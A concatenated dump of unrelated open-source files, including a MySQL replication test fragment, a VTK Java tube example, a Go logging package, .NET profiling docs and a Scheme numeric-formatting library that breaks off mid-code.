--let $mask_user_password_events=0
--echo -e-e-e-e-e-e-e-e-e-e-e- >> << -e-e-e-e-e-e-e-e-e-e-e-
--echo
--dec $ddl_cases
}
SET AUTOCOMMIT= 1;
--echo ###################################################################################
--echo # CHECK CONSISTENCY
--echo ###################################################################################
--source include/rpl_sync.inc
# Checking the consistency on the two members.
--let $diff_tables= server1:tt_1,server2:tt_1
--source include/diff_tables.inc
--let $diff_tables= server1:tt_2,server2:tt_2
--source include/diff_tables.inc
--let $diff_tables= server1:nt_1,server2:nt_1
--source include/diff_tables.inc
--echo ###################################################################################
--echo # CLEAN
--echo ###################################################################################
--connection server1
DROP TABLE tt_1;
DROP TABLE tt_2;
DROP TABLE nt_1;
--source include/rpl_sync.inc
--source include/group_replication_end.inc
| {
"pile_set_name": "Github"
} |
import vtk.vtkActor;
import vtk.vtkNativeLibrary;
import vtk.vtkLineSource;
import vtk.vtkTubeFilter;
import vtk.vtkPolyDataMapper;
import vtk.vtkRenderWindow;
import vtk.vtkRenderWindowInteractor;
import vtk.vtkRenderer;
import vtk.vtkNamedColors;
public class TubeFilter
{
// -----------------------------------------------------------------
// Load VTK library and print which library was not properly loaded
static
{
if (!vtkNativeLibrary.LoadAllNativeLibraries())
{
for (vtkNativeLibrary lib : vtkNativeLibrary.values())
{
if (!lib.IsLoaded())
{
System.out.println(lib.GetLibraryName() + " not loaded");
}
}
}
vtkNativeLibrary.DisableOutputWindow(null);
}
// -----------------------------------------------------------------
public static void main(String s[])
{
/*
* This example creates a tube around a line.
* This is helpful because when you zoom the camera,
* the thickness of a line remains constant,
* while the thickness of a tube varies.
* */
vtkNamedColors Color = new vtkNamedColors();
//For Actor
double ActorColor[] = new double[4];
//Renderer Background Color
double BgColor[] = new double[4];
//Change Color Name to Use your own Color for Actor
Color.GetColor("Red",ActorColor);
//Change Color Name to Use your own Color for Renderer Background
Color.GetColor("Gray",BgColor);
// Create a line
vtkLineSource LineSource = new vtkLineSource();
LineSource.SetPoint1(1.0, 0.0, 0.0);
LineSource.SetPoint2(.0, 1.0, 0.0);
// Create a mapper and actor
vtkPolyDataMapper LineMapper = new vtkPolyDataMapper();
LineMapper.SetInputConnection(LineSource.GetOutputPort());
vtkActor LineActor = new vtkActor();
LineActor.SetMapper(LineMapper);
LineActor.GetProperty().SetColor(ActorColor);
LineActor.GetProperty().SetLineWidth(3);
vtkTubeFilter TubeFilter = new vtkTubeFilter();
TubeFilter.SetInputConnection(LineSource.GetOutputPort());
TubeFilter.SetRadius(0.025);
TubeFilter.SetNumberOfSides(50);
TubeFilter.Update();
vtkPolyDataMapper TubeMapper = new vtkPolyDataMapper();
TubeMapper.SetInputConnection(TubeFilter.GetOutputPort());
vtkActor TubeActor = new vtkActor();
TubeActor.SetMapper(TubeMapper);
//Make the tube have some transparency.
TubeActor.GetProperty().SetOpacity(0.5);
// Create the renderer, render window and interactor.
vtkRenderer ren = new vtkRenderer();
vtkRenderWindow renWin = new vtkRenderWindow();
renWin.AddRenderer(ren);
vtkRenderWindowInteractor iren = new vtkRenderWindowInteractor();
iren.SetRenderWindow(renWin);
// Visualise the arrow
ren.AddActor(LineActor);
ren.AddActor(TubeActor);
ren.SetBackground(BgColor);
ren.ResetCamera();
renWin.SetSize(300,300);
renWin.Render();
iren.Initialize();
iren.Start();
}
}
| {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import <SAObjects/AceObject.h>
#import <SAObjects/SAAceSerializable-Protocol.h>
@class NSDictionary, NSString;
@interface SAOperation : AceObject <SAAceSerializable>
{
}
+ (id)operationWithDictionary:(id)arg1 context:(id)arg2;
+ (id)operation;
@property(copy, nonatomic) NSString *operationId;
@property(copy, nonatomic) NSString *domainId;
@property(copy, nonatomic) NSDictionary *constraints;
- (id)encodedClassName;
- (id)groupIdentifier;
// Remaining properties
@property(readonly, copy) NSString *debugDescription;
@property(readonly, copy) NSString *description;
@property(readonly) unsigned long long hash;
@property(readonly) Class superclass;
@end
| {
"pile_set_name": "Github"
} |
__version__ = "1.0.1"
__author__ = "The MediaCrush developers"
__email__ = "[email protected]"
| {
"pile_set_name": "Github"
} |
// Copyright 2014-2017 Ulrich Kunitz. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package xlog provides a simple logging package that allows to disable
// certain message categories. It defines a type, Logger, with multiple
// methods for formatting output. The package has also a predefined
// 'standard' Logger accessible through helper function Print[f|ln],
// Fatal[f|ln], Panic[f|ln], Warn[f|ln], Print[f|ln] and Debug[f|ln]
// that are easier to use then creating a Logger manually. That logger
// writes to standard error and prints the date and time of each logged
// message, which can be configured using the function SetFlags.
//
// The Fatal functions call os.Exit(1) after the message is output
// unless not suppressed by the flags. The Panic functions call panic
// after the writing the log message unless suppressed.
package xlog
import (
"fmt"
"io"
"os"
"runtime"
"sync"
"time"
)
// The flags define what information is prefixed to each log entry
// generated by the Logger. The Lno* versions allow the suppression of
// specific output. The bits are or'ed together to control what will be
// printed. There is no control over the order of the items printed and
// the format. The full format is:
//
// 2009-01-23 01:23:23.123123 /a/b/c/d.go:23: message
//
const (
Ldate = 1 << iota // the date: 2009-01-23
Ltime // the time: 01:23:23
Lmicroseconds // microsecond resolution: 01:23:23.123123
Llongfile // full file name and line number: /a/b/c/d.go:23
Lshortfile // final file name element and line number: d.go:23
Lnopanic // suppresses output from Panic[f|ln] but not the panic call
Lnofatal // suppresses output from Fatal[f|ln] but not the exit
Lnowarn // suppresses output from Warn[f|ln]
Lnoprint // suppresses output from Print[f|ln]
Lnodebug // suppresses output from Debug[f|ln]
// initial values for the standard logger
Lstdflags = Ldate | Ltime | Lnodebug
)
// A Logger represents an active logging object that generates lines of
// output to an io.Writer. Each logging operation if not suppressed
// makes a single call to the Writer's Write method. A Logger can be
// used simultaneously from multiple goroutines; it guarantees to
// serialize access to the Writer.
type Logger struct {
mu sync.Mutex // ensures atomic writes; and protects the following
// fields
prefix string // prefix to write at beginning of each line
flag int // properties
out io.Writer // destination for output
buf []byte // for accumulating text to write
}
// New creates a new Logger. The out argument sets the destination to
// which the log output will be written. The prefix appears at the
// beginning of each log line. The flag argument defines the logging
// properties.
func New(out io.Writer, prefix string, flag int) *Logger {
return &Logger{out: out, prefix: prefix, flag: flag}
}
// std is the standard logger used by the package scope functions.
var std = New(os.Stderr, "", Lstdflags)
// itoa converts the integer to ASCII. A negative widths will avoid
// zero-padding. The function supports only non-negative integers.
func itoa(buf *[]byte, i int, wid int) {
var u = uint(i)
if u == 0 && wid <= 1 {
*buf = append(*buf, '0')
return
}
var b [32]byte
bp := len(b)
for ; u > 0 || wid > 0; u /= 10 {
bp--
wid--
b[bp] = byte(u%10) + '0'
}
*buf = append(*buf, b[bp:]...)
}
// formatHeader puts the header into the buf field of the buffer.
func (l *Logger) formatHeader(t time.Time, file string, line int) {
l.buf = append(l.buf, l.prefix...)
if l.flag&(Ldate|Ltime|Lmicroseconds) != 0 {
if l.flag&Ldate != 0 {
year, month, day := t.Date()
itoa(&l.buf, year, 4)
l.buf = append(l.buf, '-')
itoa(&l.buf, int(month), 2)
l.buf = append(l.buf, '-')
itoa(&l.buf, day, 2)
l.buf = append(l.buf, ' ')
}
if l.flag&(Ltime|Lmicroseconds) != 0 {
hour, min, sec := t.Clock()
itoa(&l.buf, hour, 2)
l.buf = append(l.buf, ':')
itoa(&l.buf, min, 2)
l.buf = append(l.buf, ':')
itoa(&l.buf, sec, 2)
if l.flag&Lmicroseconds != 0 {
l.buf = append(l.buf, '.')
itoa(&l.buf, t.Nanosecond()/1e3, 6)
}
l.buf = append(l.buf, ' ')
}
}
if l.flag&(Lshortfile|Llongfile) != 0 {
if l.flag&Lshortfile != 0 {
short := file
for i := len(file) - 1; i > 0; i-- {
if file[i] == '/' {
short = file[i+1:]
break
}
}
file = short
}
l.buf = append(l.buf, file...)
l.buf = append(l.buf, ':')
itoa(&l.buf, line, -1)
l.buf = append(l.buf, ": "...)
}
}
func (l *Logger) output(calldepth int, now time.Time, s string) error {
var file string
var line int
if l.flag&(Lshortfile|Llongfile) != 0 {
l.mu.Unlock()
var ok bool
_, file, line, ok = runtime.Caller(calldepth)
if !ok {
file = "???"
line = 0
}
l.mu.Lock()
}
l.buf = l.buf[:0]
l.formatHeader(now, file, line)
l.buf = append(l.buf, s...)
if len(s) == 0 || s[len(s)-1] != '\n' {
l.buf = append(l.buf, '\n')
}
_, err := l.out.Write(l.buf)
return err
}
// Output writes the string s with the header controlled by the flags to
// the l.out writer. A newline will be appended if s doesn't end in a
// newline. Calldepth is used to recover the PC, although all current
// calls of Output use the call depth 2. Access to the function is serialized.
func (l *Logger) Output(calldepth, noflag int, v ...interface{}) error {
now := time.Now()
l.mu.Lock()
defer l.mu.Unlock()
if l.flag&noflag != 0 {
return nil
}
s := fmt.Sprint(v...)
return l.output(calldepth+1, now, s)
}
// Outputf works like output but formats the output like Printf.
func (l *Logger) Outputf(calldepth int, noflag int, format string, v ...interface{}) error {
now := time.Now()
l.mu.Lock()
defer l.mu.Unlock()
if l.flag&noflag != 0 {
return nil
}
s := fmt.Sprintf(format, v...)
return l.output(calldepth+1, now, s)
}
// Outputln works like output but formats the output like Println.
func (l *Logger) Outputln(calldepth int, noflag int, v ...interface{}) error {
now := time.Now()
l.mu.Lock()
defer l.mu.Unlock()
if l.flag&noflag != 0 {
return nil
}
s := fmt.Sprintln(v...)
return l.output(calldepth+1, now, s)
}
// Panic prints the message like Print and calls panic. The printing
// might be suppressed by the flag Lnopanic.
func (l *Logger) Panic(v ...interface{}) {
l.Output(2, Lnopanic, v...)
s := fmt.Sprint(v...)
panic(s)
}
// Panic prints the message like Print and calls panic. The printing
// might be suppressed by the flag Lnopanic.
func Panic(v ...interface{}) {
std.Output(2, Lnopanic, v...)
s := fmt.Sprint(v...)
panic(s)
}
// Panicf prints the message like Printf and calls panic. The printing
// might be suppressed by the flag Lnopanic.
func (l *Logger) Panicf(format string, v ...interface{}) {
l.Outputf(2, Lnopanic, format, v...)
s := fmt.Sprintf(format, v...)
panic(s)
}
// Panicf prints the message like Printf and calls panic. The printing
// might be suppressed by the flag Lnopanic.
func Panicf(format string, v ...interface{}) {
std.Outputf(2, Lnopanic, format, v...)
s := fmt.Sprintf(format, v...)
panic(s)
}
// Panicln prints the message like Println and calls panic. The printing
// might be suppressed by the flag Lnopanic.
func (l *Logger) Panicln(v ...interface{}) {
l.Outputln(2, Lnopanic, v...)
s := fmt.Sprintln(v...)
panic(s)
}
// Panicln prints the message like Println and calls panic. The printing
// might be suppressed by the flag Lnopanic.
func Panicln(v ...interface{}) {
std.Outputln(2, Lnopanic, v...)
s := fmt.Sprintln(v...)
panic(s)
}
// Fatal prints the message like Print and calls os.Exit(1). The
// printing might be suppressed by the flag Lnofatal.
func (l *Logger) Fatal(v ...interface{}) {
l.Output(2, Lnofatal, v...)
os.Exit(1)
}
// Fatal prints the message like Print and calls os.Exit(1). The
// printing might be suppressed by the flag Lnofatal.
func Fatal(v ...interface{}) {
std.Output(2, Lnofatal, v...)
os.Exit(1)
}
// Fatalf prints the message like Printf and calls os.Exit(1). The
// printing might be suppressed by the flag Lnofatal.
func (l *Logger) Fatalf(format string, v ...interface{}) {
l.Outputf(2, Lnofatal, format, v...)
os.Exit(1)
}
// Fatalf prints the message like Printf and calls os.Exit(1). The
// printing might be suppressed by the flag Lnofatal.
func Fatalf(format string, v ...interface{}) {
std.Outputf(2, Lnofatal, format, v...)
os.Exit(1)
}
// Fatalln prints the message like Println and calls os.Exit(1). The
// printing might be suppressed by the flag Lnofatal.
func (l *Logger) Fatalln(format string, v ...interface{}) {
l.Outputln(2, Lnofatal, v...)
os.Exit(1)
}
// Fatalln prints the message like Println and calls os.Exit(1). The
// printing might be suppressed by the flag Lnofatal.
func Fatalln(format string, v ...interface{}) {
std.Outputln(2, Lnofatal, v...)
os.Exit(1)
}
// Warn prints the message like Print. The printing might be suppressed
// by the flag Lnowarn.
func (l *Logger) Warn(v ...interface{}) {
l.Output(2, Lnowarn, v...)
}
// Warn prints the message like Print. The printing might be suppressed
// by the flag Lnowarn.
func Warn(v ...interface{}) {
std.Output(2, Lnowarn, v...)
}
// Warnf prints the message like Printf. The printing might be suppressed
// by the flag Lnowarn.
func (l *Logger) Warnf(format string, v ...interface{}) {
l.Outputf(2, Lnowarn, format, v...)
}
// Warnf prints the message like Printf. The printing might be suppressed
// by the flag Lnowarn.
func Warnf(format string, v ...interface{}) {
std.Outputf(2, Lnowarn, format, v...)
}
// Warnln prints the message like Println. The printing might be suppressed
// by the flag Lnowarn.
func (l *Logger) Warnln(v ...interface{}) {
l.Outputln(2, Lnowarn, v...)
}
// Warnln prints the message like Println. The printing might be suppressed
// by the flag Lnowarn.
func Warnln(v ...interface{}) {
std.Outputln(2, Lnowarn, v...)
}
// Print prints the message like fmt.Print. The printing might be suppressed
// by the flag Lnoprint.
func (l *Logger) Print(v ...interface{}) {
l.Output(2, Lnoprint, v...)
}
// Print prints the message like fmt.Print. The printing might be suppressed
// by the flag Lnoprint.
func Print(v ...interface{}) {
std.Output(2, Lnoprint, v...)
}
// Printf prints the message like fmt.Printf. The printing might be suppressed
// by the flag Lnoprint.
func (l *Logger) Printf(format string, v ...interface{}) {
l.Outputf(2, Lnoprint, format, v...)
}
// Printf prints the message like fmt.Printf. The printing might be suppressed
// by the flag Lnoprint.
func Printf(format string, v ...interface{}) {
std.Outputf(2, Lnoprint, format, v...)
}
// Println prints the message like fmt.Println. The printing might be
// suppressed by the flag Lnoprint.
func (l *Logger) Println(v ...interface{}) {
l.Outputln(2, Lnoprint, v...)
}
// Println prints the message like fmt.Println. The printing might be
// suppressed by the flag Lnoprint.
func Println(v ...interface{}) {
std.Outputln(2, Lnoprint, v...)
}
// Debug prints the message like Print. The printing might be suppressed
// by the flag Lnodebug.
func (l *Logger) Debug(v ...interface{}) {
l.Output(2, Lnodebug, v...)
}
// Debug prints the message like Print. The printing might be suppressed
// by the flag Lnodebug.
func Debug(v ...interface{}) {
std.Output(2, Lnodebug, v...)
}
// Debugf prints the message like Printf. The printing might be suppressed
// by the flag Lnodebug.
func (l *Logger) Debugf(format string, v ...interface{}) {
l.Outputf(2, Lnodebug, format, v...)
}
// Debugf prints the message like Printf. The printing might be suppressed
// by the flag Lnodebug.
func Debugf(format string, v ...interface{}) {
std.Outputf(2, Lnodebug, format, v...)
}
// Debugln prints the message like Println. The printing might be suppressed
// by the flag Lnodebug.
func (l *Logger) Debugln(v ...interface{}) {
l.Outputln(2, Lnodebug, v...)
}
// Debugln prints the message like Println. The printing might be suppressed
// by the flag Lnodebug.
func Debugln(v ...interface{}) {
std.Outputln(2, Lnodebug, v...)
}
// Flags returns the current flags used by the logger.
func (l *Logger) Flags() int {
l.mu.Lock()
defer l.mu.Unlock()
return l.flag
}
// Flags returns the current flags used by the standard logger.
func Flags() int {
return std.Flags()
}
// SetFlags sets the flags of the logger.
func (l *Logger) SetFlags(flag int) {
l.mu.Lock()
defer l.mu.Unlock()
l.flag = flag
}
// SetFlags sets the flags for the standard logger.
func SetFlags(flag int) {
std.SetFlags(flag)
}
// Prefix returns the prefix used by the logger.
func (l *Logger) Prefix() string {
l.mu.Lock()
defer l.mu.Unlock()
return l.prefix
}
// Prefix returns the prefix used by the standard logger of the package.
func Prefix() string {
return std.Prefix()
}
// SetPrefix sets the prefix for the logger.
func (l *Logger) SetPrefix(prefix string) {
l.mu.Lock()
defer l.mu.Unlock()
l.prefix = prefix
}
// SetPrefix sets the prefix of the standard logger of the package.
func SetPrefix(prefix string) {
std.SetPrefix(prefix)
}
// SetOutput sets the output of the logger.
func (l *Logger) SetOutput(w io.Writer) {
l.mu.Lock()
defer l.mu.Unlock()
l.out = w
}
// SetOutput sets the output for the standard logger of the package.
func SetOutput(w io.Writer) {
std.SetOutput(w)
}
| {
"pile_set_name": "Github"
} |
---
title: "COR_PRF_FUNCTION Structure"
ms.date: "03/30/2017"
api_name:
- "COR_PRF_FUNCTION"
api_location:
- "mscorwks.dll"
api_type:
- "COM"
f1_keywords:
- "COR_PRF_FUNCTION"
helpviewer_keywords:
- "COR_PRF_FUNCTION structure [.NET Framework profiling]"
ms.assetid: 8bb5acf5-cf4b-4ccb-93f1-46db1f3f8bf3
topic_type:
- "apiref"
---
# COR_PRF_FUNCTION Structure
Provides a unique representation of a function by combining its ID with the ID of its recompiled version.
## Syntax
```cpp
typedef struct _COR_PRF_FUNCTION { FunctionID functionId; ReJITID reJitId;} COR_PRF_FUNCTION;
```
## Members
|Member|Description|
|------------|-----------------|
|`functionId`|The ID of the function.|
|`reJitId`|The ID of the recompiled function. A value of 0 (zero) represents the original version of the function.|
## Remarks
## Requirements
**Platforms:** See [System Requirements](../../get-started/system-requirements.md).
**Header:** CorProf.idl
**Library:** CorGuids.lib
**.NET Framework Versions:** [!INCLUDE[net_current_v45plus](../../../../includes/net-current-v45plus-md.md)]
## See also
- [Profiling Structures](profiling-structures.md)
| {
"pile_set_name": "Github"
} |
package epic.parser
package models
/*
Copyright 2012 David Hall
Licensed under the Apache License, Version 2.0 (the "License")
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
import epic.parser.{GrammarAnchoring, RefinedParseChart, RefinedChartMarginal}
import epic.parser.projections.AnchoredPCFGProjector
import epic.trees.TreeInstance
trait EPProjector[L, W] {
def project(inf: ParserInference[L, W],
instance: TreeInstance[L, W],
marginal: ParseMarginal[L, W]): UnrefinedGrammarAnchoring[L, W]
}
@SerialVersionUID(1)
class AnchoredRuleApproximator[L, W](pruningThreshold: Double = Double.NegativeInfinity) extends EPProjector[L, W] with Serializable {
val factory = new AnchoredPCFGProjector[L, W](pruningThreshold)
def project(inf: ParserInference[L, W],
instance: TreeInstance[L, W],
marginal: ParseMarginal[L, W]):UnrefinedGrammarAnchoring[L, W] = {
factory.project(marginal)
}
}
| {
"pile_set_name": "Github"
} |
// import React from 'react';
// const Node = (props:any) => {
// const { children } = props;
// return <div>{children}</div>;
// };
// export default Node;
| {
"pile_set_name": "Github"
} |
<?php
namespace PhpMigration\Changes\v7dot0;
use PhpMigration\Changes\AbstractRemovedTest;
class RemovedTest extends AbstractRemovedTest
{
}
| {
"pile_set_name": "Github"
} |
;; write.scm - written formatting, the default displayed for non-string/chars
;; Copyright (c) 2006-2019 Alex Shinn. All rights reserved.
;; BSD-style license: http://synthcode.com/license.txt
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;> \section{String utilities}
(define (write-to-string x)
(call-with-output-string (lambda (out) (write x out))))
(define (string-replace-all str ch1 ch2)
(let ((out (open-output-string)))
(string-for-each
(lambda (ch) (display (if (eqv? ch ch1) ch2 ch) out))
str)
(get-output-string out)))
(define (string-intersperse-right str sep rule)
(let ((start (string-cursor-start str)))
(let lp ((i (string-cursor-end str))
(rule rule)
(res '()))
(let* ((offset (if (pair? rule) (car rule) rule))
(i2 (if offset (string-cursor-back str i offset) start)))
(if (string-cursor<=? i2 start)
(apply string-append (cons (substring/cursors str start i) res))
(lp i2
(if (and (pair? rule) (not (null? (cdr rule)))) (cdr rule) rule)
(cons sep (cons (substring/cursors str i2 i) res))))))))
;;> Outputs the string str, escaping any quote or escape characters.
;;> If esc-ch, which defaults to #\\, is #f, escapes only the
;;> quote-ch, which defaults to #\", by doubling it, as in SQL strings
;;> and CSV values. If renamer is provided, it should be a procedure
;;> of one character which maps that character to its escape value,
;;> e.g. #\newline => #\n, or #f if there is no escape value.
(define (escaped fmt . o)
(let-optionals* o ((quot #\")
(esc #\\)
(rename (lambda (x) #f)))
(let ((esc-str (cond ((char? esc) (string esc))
((not esc) (string quot))
(else esc))))
(fn ((orig-output output))
(define (output* str)
(let ((start (string-cursor-start str))
(end (string-cursor-end str)))
(let lp ((i start) (j start))
(define (collect)
(if (eq? i j) "" (substring/cursors str i j)))
(if (string-cursor>=? j end)
(orig-output (collect))
(let ((c (string-ref/cursor str j))
(j2 (string-cursor-next str j)))
(cond
((or (eqv? c quot) (eqv? c esc))
(each (orig-output (collect))
(orig-output esc-str)
(fn () (lp j j2))))
((rename c)
=> (lambda (c2)
(each (orig-output (collect))
(orig-output esc-str)
(orig-output (if (char? c2) (string c2) c2))
(fn () (lp j2 j2)))))
(else
(lp i j2))))))))
(with ((output output*))
fmt)))))
;;> Only escape if there are special characters, in which case also
;;> wrap in quotes. For writing symbols in |...| escapes, or CSV
;;> fields, etc. The predicate indicates which characters cause
;;> slashification - this is in addition to automatic slashifying when
;;> either the quote or escape char is present.
(define (maybe-escaped fmt pred . o)
(let-optionals* o ((quot #\")
(esc #\\)
(rename (lambda (x) #f)))
(define (esc? c) (or (eqv? c quot) (eqv? c esc) (rename c) (pred c)))
(call-with-output
fmt
(lambda (str)
(if (string-cursor<? (string-index str esc?) (string-cursor-end str))
(each quot (escaped str quot esc rename) quot)
(displayed str))))))
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; numeric formatting
(define (char-mirror c)
(case c ((#\() #\)) ((#\[) #\]) ((#\{) #\}) ((#\<) #\>) (else c)))
(define (integer-log a base)
(if (zero? a)
0
;; (exact (ceiling (/ (log (+ a 1)) (log base))))
(do ((ndigits 1 (+ ndigits 1))
(p base (* p base)))
((> p a) ndigits))))
;; The original fmt algorithm was based on "Printing Floating-Point
;; Numbers Quickly and Accurately" by Burger and Dybvig
;; (FP-Printing-PLDI96.pdf). It had grown unwieldy with formatting
;; special cases, so the below is a simplification which tries to rely
;; on number->string for common cases.
(define unspec (list 'unspecified))
(define-syntax default
(syntax-rules ()
((default var dflt) (if (eq? var unspec) dflt var))))
(define (numeric n . o)
(let-optionals* o ((rad unspec) (prec unspec) (sgn unspec)
(comma unspec) (commasep unspec) (decsep unspec))
(fn (radix precision sign-rule
comma-rule comma-sep decimal-sep decimal-align)
(let* ((radix (default rad radix))
(precision (default prec precision))
(sign-rule (default sgn sign-rule))
(comma-rule (default comma comma-rule))
(comma-sep (default commasep comma-sep))
(dec-sep (default decsep
(or decimal-sep (if (eqv? comma-sep #\.) #\, #\.))))
(dec-ls (if (char? dec-sep)
(list dec-sep)
(reverse (string->list dec-sep)))))
;; General formatting utilities.
(define (get-scale q)
(expt radix (- (integer-log q radix) 1)))
(define (char-digit d)
(cond ((char? d) d)
((< d 10) (integer->char (+ d (char->integer #\0))))
(else (integer->char (+ (- d 10) (char->integer #\a))))))
(define (digit-value ch)
(let ((res (- (char->integer ch) (char->integer #\0))))
(if (<= 0 res 9)
res
ch)))
(define (round-up ls)
(let lp ((ls ls) (res '()))
(cond
((null? ls)
(cons 1 res))
((not (number? (car ls)))
(lp (cdr ls) (cons (car ls) res)))
((= (car ls) (- radix 1))
(lp (cdr ls) (cons 0 res)))
(else
(append (reverse res) (cons (+ 1 (car ls)) (cdr ls)))))))
(define (maybe-round n d ls)
(let* ((q (quotient n d))
(digit (* 2 (if (>= q radix) (quotient q (get-scale q)) q))))
(if (or (> digit radix)
(and (= digit radix)
(let ((prev (find integer? ls)))
(and prev (odd? prev)))))
(round-up ls)
ls)))
(define (maybe-trim-zeros i res inexact?)
(if (and (not precision) (positive? i))
(let lp ((res res))
(cond
((and (pair? res) (eqv? 0 (car res))) (lp (cdr res)))
((and (pair? res)
(eqv? (car dec-ls) (car res))
(null? (cdr dec-ls)))
(if inexact?
(cons 0 res) ; "1.0"
(cdr res))) ; "1"
(else res)))
res))
;; General slow loop to generate digits one at a time, for
;; non-standard radixes or writing rationals with a fixed
;; precision.
(define (gen-general n-orig)
(let* ((p (exact n-orig))
(n (numerator p))
(d (denominator p)))
(let lp ((n n)
(i (if (zero? p) -1 (- (integer-log p radix))))
(res '()))
(cond
;; Use a fixed precision if specified, otherwise generate
;; 15 decimals.
((if precision (< i precision) (< i 16))
(let ((res (if (zero? i)
(append dec-ls (if (null? res) (cons 0 res) res))
res))
(q (quotient n d)))
(cond
((< i -1)
(let* ((scale (expt radix (- -1 i)))
(digit (quotient q scale))
(n2 (- n (* d digit scale))))
(lp n2 (+ i 1) (cons digit res))))
(else
(lp (* (remainder n d) radix)
(+ i 1)
(cons q res))))))
(else
(list->string
(map char-digit
(reverse (maybe-trim-zeros i (maybe-round n d res) (inexact? n-orig))))))))))
;; Generate a fixed precision decimal result by post-editing the
;; result of string->number.
(define (gen-fixed n)
(cond
((and (eqv? radix 10) (zero? precision) (inexact? n))
(number->string (exact (round n))))
((and (eqv? radix 10) (or (integer? n) (inexact? n)))
(let* ((s (number->string n))
(end (string-cursor-end s))
(dec (string-index s #\.))
(digits (- (string-cursor->index s end)
(string-cursor->index s dec))))
(cond
((string-cursor<? (string-index s #\e) end)
(gen-general n))
((string-cursor=? dec end)
(string-append s (if (char? dec-sep) (string dec-sep) dec-sep)
(make-string precision #\0)))
((<= digits precision)
(string-append s (make-string (- precision digits -1) #\0)))
(else
(let* ((last
(string-cursor-back s end (- digits precision 1)))
(res (substring/cursors s (string-cursor-start s) last)))
(if (and
(string-cursor<? last end)
(let ((next (digit-value (string-ref/cursor s last))))
(or (> next 5)
(and (= next 5)
(string-cursor>? last (string-cursor-start s))
(memv (digit-value
(string-ref/cursor
s (string-cursor-prev s last)))
'(1 3 5 7 9))))))
(list->string
(reverse
(map char-digit
(round-up
(reverse (map digit-value (string->list res)))))))
res))))))
(else
(gen-general n))))
;; Generate any unsigned real number.
(define (gen-positive-real n)
(cond
(precision
(gen-fixed n))
((memv radix (if (exact? n) '(2 8 10 16) '(10)))
(number->string n radix))
(else
(gen-general n))))
;; Insert commas according to the current comma-rule.
(define (insert-commas str)
(let* ((dec-pos (if (string? dec-sep)
(or (string-contains str dec-sep)
(string-cursor-end str))
(string-index str dec-sep)))
(left (substring/cursors str (string-cursor-start str) dec-pos))
(right (string-copy/cursors str dec-pos))
(sep (cond ((char? comma-sep) (string comma-sep))
((string? comma-sep) comma-sep)
((eqv? #\, dec-sep) ".")
(else ","))))
(string-append
(string-intersperse-right left sep comma-rule)
right)))
;; Post-process a positive real number with decimal char fixup
;; and commas as needed.
(define (wrap-comma n)
(if (and (not precision) (exact? n) (not (integer? n)))
(string-append (wrap-comma (numerator n))
"/"
(wrap-comma (denominator n)))
(let* ((s0 (gen-positive-real n))
(s1 (if (or (eqv? #\. dec-sep)
(equal? "." dec-sep))
s0
(string-replace-all s0 #\. dec-sep))))
(if comma-rule (insert-commas s1) s1))))
;; Wrap the sign of a real number, forcing a + prefix or using
;; parentheses (n) for negatives according to sign-rule.
(define-syntax is-neg-zero?
(syntax-rules ()
((_ n)
(is-neg-zero? (-0.0) n))
((_ (0.0) n) ; -0.0 is not distinguished?
#f)
((_ (-0.0) n)
(eqv? -0.0 n))))
(define (negative?* n)
(or (negative? n)
(is-neg-zero? n)))
(define (wrap-sign n sign-rule)
(cond
((negative?* n)
(cond
((char? sign-rule)
(string-append (string sign-rule)
(wrap-comma (- n))
(string (char-mirror sign-rule))))
((pair? sign-rule)
(string-append (car sign-rule)
(wrap-comma (- n))
(cdr sign-rule)))
(else
(string-append "-" (wrap-comma (- n))))))
((eq? #t sign-rule)
(string-append "+" (wrap-comma n)))
(else
(wrap-comma n))))
;; Format a single real number with padding as necessary.
(define (format n sign-rule)
(cond
((finite? n)
(let* ((s (wrap-sign n sign-rule))
(dec-pos (if decimal-align
(string-cursor->index
s
(if (char? dec-sep)
(string-index s dec-sep)
(or (string-contains s dec-sep)
(string-cursor-end s))))
0))
(diff (- (or decimal-align 0) dec-pos 1)))
(if (positive? diff)
(string-append (make-string diff #\space) s)
s)))
(else
(number->string n))))
;; Write any number.
(define (write-complex n)
(cond
((and radix (not (and (integer? radix) (<= 2 radix 36))))
(error "invalid radix for numeric formatting" radix))
((zero? (imag-part n))
(displayed (format (real-part n) sign-rule)))
(else
(each (format (real-part n) sign-rule)
(format (imag-part n) #t)
"i"))))
(write-complex n)))))
(define numeric/si
(let* ((names10 '#("" "k" "M" "G" "T" "E" "P" "Z" "Y"))
(names-10 '#("" "m" "µ" "n" "p" "f" "a" "z" "y"))
(names2 (list->vector
(cons ""
(cons "Ki" (map (lambda (s) (string-append s "i"))
(cddr (vector->list names10)))))))
(names-2 (list->vector
(cons ""
(map (lambda (s) (string-append s "i"))
(cdr (vector->list names-10)))))))
(define (round-to n k)
(/ (round (* n k)) k))
(lambda (n . o)
(let-optionals* o ((base 1000)
(separator ""))
(let* ((log-n (log n))
(names (if (negative? log-n)
(if (= base 1024) names-2 names-10)
(if (= base 1024) names2 names10)))
(k (min (exact ((if (negative? log-n) ceiling floor)
(/ (abs log-n) (log base))))
(- (vector-length names) 1)))
(n2 (round-to (/ n (expt base (if (negative? log-n) (- k) k)))
10)))
(each (if (integer? n2)
(number->string (exact n2))
(inexact n2))
;; (if (zero? k) "" separator)
separator
(vector-ref names k)))))))
;; Force a number into a fixed width, print as #'s if doesn't fit.
;; Needs to be wrapped in PADDED if you want to expand to the width.
(define (numeric/fitted width n . args)
(call-with-output
(apply numeric n args)
(lambda (str)
(if (> (string-length str) width)
(fn (precision decimal-sep comma-sep)
(let ((prec (if (and (pair? args) (pair? (cdr args)))
(cadr args)
precision)))
(if (and prec (not (zero? prec)))
(let* ((dec-sep
(or decimal-sep
(if (eqv? #\. comma-sep) #\, #\.)))
(diff (- width (+ prec
(if (char? dec-sep)
1
